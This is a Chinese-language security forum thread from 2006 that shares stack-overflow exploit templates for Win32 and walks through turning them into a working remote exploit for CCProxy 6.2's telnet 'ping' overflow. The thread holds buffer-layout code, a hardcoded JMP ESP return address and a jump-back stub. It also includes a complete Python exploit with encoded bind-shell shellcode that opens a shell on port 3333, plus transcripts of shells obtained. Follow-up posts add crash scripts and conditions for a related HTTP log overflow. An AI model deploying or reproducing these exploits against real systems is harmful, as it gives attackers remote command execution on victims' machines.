[原创]4个基于栈溢出的Exploit编写模板
<p>文章来源:邪恶八进制安全团队 ([url]http://www.eviloctal.com[/url])<br />文章作者:wofeiwo [S4T]</p><p>这个压缩包里,是我3天来学习win32下shellcode和exploit编写的成果<br />做了4个exploit的模板,一个connect back,一个bind shell,一个reuse port,一个是通过查找特殊字符匹配socket达到只用一个socket得到shell的(这两个可以在特定情况下穿透防火墙).当然,自己用asm写出主体程序我还没那个本事和耐性.生成shellcode的函数都使用了别人的,第一个是lion的,后面则是<网络渗透技术>资料中找到的.我只是做了点修改.使用这些exploit模板,编写多数的基于栈的溢出,基本只需要修改main函数的部分就可以了.多数情况下,甚至只要修改设定buff的部分就ok.当然,如果你是高手,那么就请修改shellcode生成部分吧 : )<br />[b]exploits目录里,就是那4个exploit的模板.其中mse.c里面我做了比较详细的注释,介绍了每部分的功能,可以参照那个文件看其他原代码.[/b]4个shellcode都是通过peb查找kernel32.dll基址,再加密函数hash来动态查找所需要动态联接库和函数来实现功能的,在所有winNT系列系统上通用.server.cpp则是xfocus那本书中的一个漏洞示例代码,建议大家先看原代码再看文章,或是边看文章边读代码,[b]毕竟代码才是真正的精髓.[/b]<br />以下做个简单的演示给各位.<br />(注: 以下代码都是在winXPSP2+VC6.0环境测试)</p><p>server.cpp里:<br />[code]void overflow(char * s,int size)<br />{<br /> char s1[50];<br /> printf("receive %d bytes\n",size);<br /> s[size]=0;<br /> strcpy(s1,s);<br />}[/code]</p><p>这个函数的局部变量s1只能接受50字符的输入,多了就会溢出.在debug编译模式下,覆盖字符为56,release模式下覆盖字符为52.(这里不解释缓冲区溢出具体原理了,请参看其他资料).</p><p>bpe.c中:<br />[code]memset(Buff, 0x90, sizeof(Buff)-1); <strong>//先使用nop填充</strong><br />//memcpy(Buff+56, JMPESP, 4); <strong>//Debug mode<br /></strong>memcpy(Buff+52, JMPESP, 4); <strong>//jmpesp<br /></strong>strcpy(Buff+60, (unsigned char *)sh_Buff); <strong>//shellcode</strong>[/code]</p><p>以上代码在文件中我标示出来了,应该很好找到.这里使用的JMPESP是简体中文winnt系列系统通用的0x7ffa4512,是在Ansi Code Page里找到的.如果要溢出其他版本windows,请注意替换文件开头定义的宏JMPESP.<br />基本上对于标准的栈溢出需要修改的就是以上的代码.我后面还会举例.先来看这个文件的执行效果.</p><p>首先双击执行server.exe,运行服务端,他开的端口是21.<br />[quote]C:\exploits>bpe <strong>//先看看帮助信息<br /></strong>Bind port exploit<br />Author: wofeiwo<br />Date: Jun 15th 2006</p><p>Usage:bpe <bind_port /><target_ip />[port]<br /> bind_port: The port to bind shell.<br /> port: The port to connect target,on default the port is 21.</p><p>C:\exploits>bpe 44444 127.0.0.1 21<br />Bind port exploit<br />Author: wofeiwo<br />Date: Jun 15th 2006</p><p>Microsoft Windows XP [版本 5.1.2600]<br />(C) 版权所有 1985-2001 Microsoft Corp.</p><p>C:\Documents and Settings\wofeiwo\桌面>exit <strong>//exploit会自动连接shellcode开的端口</strong><br />exit<br />[-] Connection closed.</p><p>C:\exploits>[/quote]</p><p>成功,其他exploit程序我就不一一演示了,各位直接运行看看帮助就知道用法了.</p><p><strong>下面来讲讲真正的实例,ccproxy 6.2的telnet代理溢出</strong>用我的模板是怎样修改成一个exploit的.<br />先看漏洞的具体情况:ccproxy 6.2在处理telnet代理时ping命令存在一个栈溢出,具体填充buff是在1016左右.<br />ok,来看我是怎么改的.<br /><strong>ccproxy目录下的两个c文件就是我修改好的exploit,另附上ccproxy6.2的安装文件</strong>看改好的bpe.c里的代码</p><p>[code]bpe.c:<br />memset(Buff, 0x90, sizeof(Buff)-1); <strong>//先使用nop填充<br /></strong>memcpy(Buff, "ping ", 5); <strong>//前5个字符是"ping"加个空格<br /></strong>memcpy(Buff+1017, JMPESP, 4); <strong>//我在我的机器上调试,发现真正的填充区需要1017个字符.<br /></strong>memcpy(Buff+685, (unsigned char *)sh_Buff, sh_Len); <strong>//因为填充区很长,我把shellcode放在了前面<br /></strong>memcpy(Buff+1021, sc, 12); <strong>//这里是跳回前头shellcode的代码,因为填充了nop,所以定位可以不必那么准确<br /></strong>memcpy(Buff+sizeof(Buff)-2, "\r\n", 2);<br />//printf("buff:\n"); <strong>//这两行是用来打印最终发送数据内容的,在调试过程中,学会使用这种方法作用很大<br /></strong>//PrintSc(Buff, sizeof(Buff)); <strong>//PrintSc函数很有用,用c格式打印缓冲区中的内容</strong>[/code]</p><p>对比一下前面的buff,shellcode没有变,只是多了个ping命令作为开头,并且有了个sc做跳转,sc的定义如下:</p><p>[code]bpe.c main函数中:<br />unsigned char sc[]={0xB9,0x11,0x11,0xE1,0x15,0xC1,0xE9,0x14,0x2B,0xE1,0xFF,0xE4}; <strong>//就是跳前0x15E个字符执行,注意sc[3]和sc[4]</strong>[/code]</p><p>还有的改动就是在定义buff时扩大到2048以存放我们的shellcode.(其实可以更小点,浪费了)看看我们的执行结果:</p><p>[quote]C:\ccproxy>bpe <strong>//先看看帮助信息<br /></strong>CCPROXY 6.2 TELNET Bind port exploit<br />Author: wofeiwo<br />Date: Jun 15th 2006</p><p>Usage:bpe <bind_port /><target_ip />[port]<br /> bind_port: The port to bind shell.<br /> port: The port to connect target,on default the port is 21. <strong>//这里忘了改,失误失误..</strong></p><p>C:\ccproxy>bpe 1234 127.0.0.1 23<br />CCPROXY 6.2 TELNET Bind port exploit<br />Author: wofeiwo<br />Date: Jun 15th 2006</p><p>Microsoft Windows XP [版本 5.1.2600]<br />(C) 版权所有 1985-2001 Microsoft Corp.</p><p>C:\windows\system32>exit <strong>//exploit会自动连接shellcode开的端口<br /></strong>exit<br />[-] Connection closed.</p><p>C:\ccproxy>[/quote]</p><p>成功,是否十分方便?菜鸟编写exploit也就不需要头痛麻烦了. : )<br />我还对ccproxy修改了cbe也就是反向连接的exploit,大家也可以参考下exploit的原代码.另两个exploit我则没有动,留给朋友们自己修改调试吧.</p><p> wofeiwo Jun 27th 2006<br />wofeiwo[0x40]gmail[0x2e]com</p><p>[color=red]<strong>PS:由于上次的中毒事件,请各位下载压缩包后杀毒再使用,另注意有些编译好的exe会被报成是ms04-11的exp,可能是使用了同样的代码,注意别误删除了</strong>[/color]</p> <p>再传上用模板修改出的CCPROXY 6.2 Http溢出exploit<br />bind port 和connect back的版本</p> 那个cc的telnet漏洞,为什么我在这里测试,发送2000个a,cc没事?代码如下:
import getpass
import sys
import telnetlib
HOST = "192.168.0.16"
tn = telnetlib.Telnet(HOST)
#tn.read_until("CCProxy Telnet>CCProxy Telnet Service Ready.")
tn.read_until("CCProxy Telnet>",3)
buffer='ping '+'a'*2000 + '\n'
tn.write(buffer) 或许是python的telnetlib实现上出了问题
我使用socket自己发送包就正常溢出了
[code]import sys
import struct
import socket
from time import sleep
HOST = "192.168.77.1"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((HOST,23))
except:
print "Could not connect to server!"
sys.exit(0)
data=s.recv(1024)
print "[+] "+data.rstrip()
s.send('ping '+'a'*2000 + '\r\n')
s.close()[/code] <p>顺便写了个python的exp,因为条件不允许.没法实践是否能真的利用.哪位好心人可以用这个尝试一下,并告诉我测试结果 : ) </p><p>[code] #!/usr/bin/python<br /># CCproxy 6.2 telnet bindshell exploit<br /># Author: wofeiwo<br /># Date: July, 28, 2006</p><p>import sys <br />import socket </p><p>if len(sys.argv) == 3:<br />HOST = sys.argv[1]<br />PORT = sys.argv[2]<br />else:<br />print "Usage: %s ip port" % sys.argv[0]<br />sys.exit(0)</p><p>jmpesp = '\x12\x45\xfa\x7f'</p><p># bind shell on port 3333<br />sc = "\xeb\x10\x5b\x4b\x33\xc9\x66\xb9\x33\x01\x80\x34\x0b\xf8\xe2\xfa"<br />sc += "\xeb\x05\xe8\xeb\xff\xff\xff\x11\xfd\xf9\xf8\xf8\xa7\x9c\x59\xc8"<br />sc += "\xf8\xf8\xf8\x73\xb8\xf4\x73\x88\xe4\x55\x73\x90\xf0\x73\x0f\x92"<br />sc += "\xfb\xa1\x10\x5d\xf8\xf8\xf8\x1a\x01\x90\xcb\xca\xf8\xf8\x90\x8f"<br />sc += "\x8b\xca\xa7\xac\x07\xee\x73\x10\x92\xfd\xa1\x10\x74\xf8\xf8\xf8"<br />sc += "\x1a\x01\x7b\x3f\xfc\x79\x14\x68\xf9\xf8\xf8\xac\x90\xf9\xf9\xf8"<br />sc += "\xf8\x07\xae\xf4\xa8\xa8\xa8\xa8\x92\xf9\x92\xfa\x07\xae\xe8\x73"<br />sc += "\x20\xcb\x38\xa8\xa8\x9e\x73\xae\xd8\x7e\x2e\x39\x32\xe8\x9e\x42"<br />sc += "\xfa\xf8\xaa\x73\x2c\x92\xe8\xaa\xab\x07\xae\xec\x92\xf9\xab\x07"<br />sc += "\xae\xe0\xa8\xa8\xab\x07\xae\xe4\x73\x20\x90\x9b\x95\x9c\xf8\x75"<br />sc += "\xec\xdc\x7b\x14\xac\x73\x04\x92\xec\xa1\xcb\x38\x71\xfc\x77\x1a"<br />sc += "\x03\x3e\xbf\xe8\xbc\x06\xbf\xc4\x06\xbf\xc5\x71\xa7\xb0\x71\xa7"<br />sc += "\xb4\x71\xa7\xa8\x75\xbf\xe8\xaf\xa8\xa9\xa9\xa9\x92\xf9\xa9\xa9"<br />sc += "\xaa\xa9\x07\xae\xfc\xcb\x38\xb0\xa8\x07\xae\xf0\xa9\xae\x73\x8d"<br />sc += "\xc4\x73\x8c\xd6\x80\xfb\x0d\xae\x73\x8e\xd8\xfb\x0d\xcb\x31\xb1"<br />sc += "\xb9\x55\xfb\x3d\xcb\x23\xf7\x46\xe8\xc2\x2e\x8c\xf0\x39\x33\xff"<br />sc += "\xfb\x22\xb8\x13\x09\xc3\xe7\x8d\x1f\xa6\x73\xa6\xdc\xfb\x25\x9e"<br />sc += "\x73\xf4\xb3\x73\xa6\xe4\xfb\x25\x73\xfc\x73\xfb\x3d\x53\xa6\xa1"<br />sc += "\x3b\x10\x0e\x06\x07\x07\xca\x8c\x69\xf4\x31\x44\x5e\x93\x77\x0a"<br />sc += "\xe0\x99\xc5\x92\x4c\x78\xd5\xca\x80\x26\x9c\xe8\x5f\x25\xf4\x67"<br />sc += "\x2b\xb3\x49\xe6\x6f\xf9\xb5\xf9\x47\x1d"</p><p>#jmp back to run shellcode<br />jmpback = "\xB9\x11\x11\xE1\x15\xC1\xE9\x14\x2B\xE1\xFF\xE4"</p><p>buff = 'ping ' + '\x90'*682 + sc + jmpesp + jmpback +'\r\n'</p><p>s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br />try:<br />s.connect((HOST,int(PORT))) <br />except:<br />print "Could not connect to server!" <br />sys.exit(0) <br /><br />data=s.recv(1024) <br />print "[+] "+data.rstrip() <br />s.send(buff)<br />print "[+] Send evil buffer OK"<br />s.close()<br />print "[+] Please telnet %s:3333 to get shell" % HOST</p><p>[/code] </p> 就两个要点吧:
1. 通过peb,seh之类获取kernel32地址,得到GetProcAddr
2. 通过GetProcAddr获取函数地址
[url]http://www.hick.org/code/skape/papers/win32-shellcode.pdf[/url] 老兄,发送特殊字符的那个你能改出来应用到ccproxy,我算服了你! [quote]引用第2楼liuyuer于2006-07-27 17:32发表的 :
那个cc的telnet漏洞,为什么我在这里测试,发送2000个a,cc没事?
代码如下:
import getpass
import sys
.......[/quote]
引用以下我以前写的DD,虽然两种漏洞不同,但是他们成功的前提条件应该是类似的,可以参考一下:
编译环境:XP SP2+VC6.0 其中CCproxy版本6.0 运行CCPROXY的系统为2K,xp sp2
测试成功获得SHELL。(2003没有测试,不过应该也可以,因为JMP EBP 地址都一样)
下面我说一下要成功EXP需要的三个前提条件:
[color=#FF0000]第一:CCPROXY必须通过你的WEB代理验证,如果对方不允许你访问它的代理,那么你就无法对CCPROXY
进行LOG STACK里面写数据也就无法溢出了。
第二:CCPROXY 的[帐号]里面的 [允许范围]必须是 允许所有
要么你也是无法使用上面的代码成功溢出的(下面我将提到为什么必须是允许所有)。
第三:溢出的端口必须是对方的HTTP代理的端口(CCPROXY默认是808),因为我们构造的数据溢出主要就是针对WEB代理的LOG形式进行的数据填充的,如果是别端口比如23什么的那么你就必须自己从新计算调整填充的数据长度了。[/color]对于第一个条件我已经说得很清楚了吧,对于第二个原因如下:
因为作者在写这个EXP的时候,主要针对的情况也是这种情况: [帐号]里面的 [允许范围]
必须是 允许所有。
大家可以阅读 Ruder 写的 《CCProxy Log Stack Overflow 漏洞浅析》
给个参考地址:[url]http://sunlion.3322.org/show.asp?sunid=238[/url]
从文章中我们可以到这里:
初步分析在要执行_sprintf函数时堆栈的情况如下
esp ;目标缓冲区A---日志内容
esp+0x4 ;"[%s] %s"
esp+0x8 ;日期-时间字符串地址
esp+0xc ;"访问者IP"+" unknown Web"
;比如我的IP是127.0.0.1就是
;Point to "127.0.0.1 unknown Web"
esp+0x10 ;和esp+0x8一样?
esp+0x14 ;Point to "%04d-%02d-%02d %02d:%02d:%02d"
esp+0x18 ;年
esp+0x1c ;月
esp+0x20 ;日
esp+0x24 ;时
esp+0x28 ;分
esp+0x2c ;秒
大家看到了么?里面提到的是 [127.0.0.1 unknown Web]这种对于CCPROXY来说,[允许范围]就是 允许所有 的。
由于EXP 和Ruder 在文章中都没有说,所以很多菜鸟(我是其中一个)以前测试总是不成功,原因就是这样。
也只有这样你才有可能对CCPROXY进行访问,要么你就无法实现第一个条件,所以虽然作者没有说,
但是已经暗示我们了,只是我们当时没有弄清楚这个漏洞罢了,所以也就怪不了作者了哦,哈哈,是我们自己笨! 要想成功,首先是 你的 CC 要允许你连接,这个是第一个必要条件. 感觉 溢出 其实是一门艺术
弄个模版就显得机械化了
页:
[1]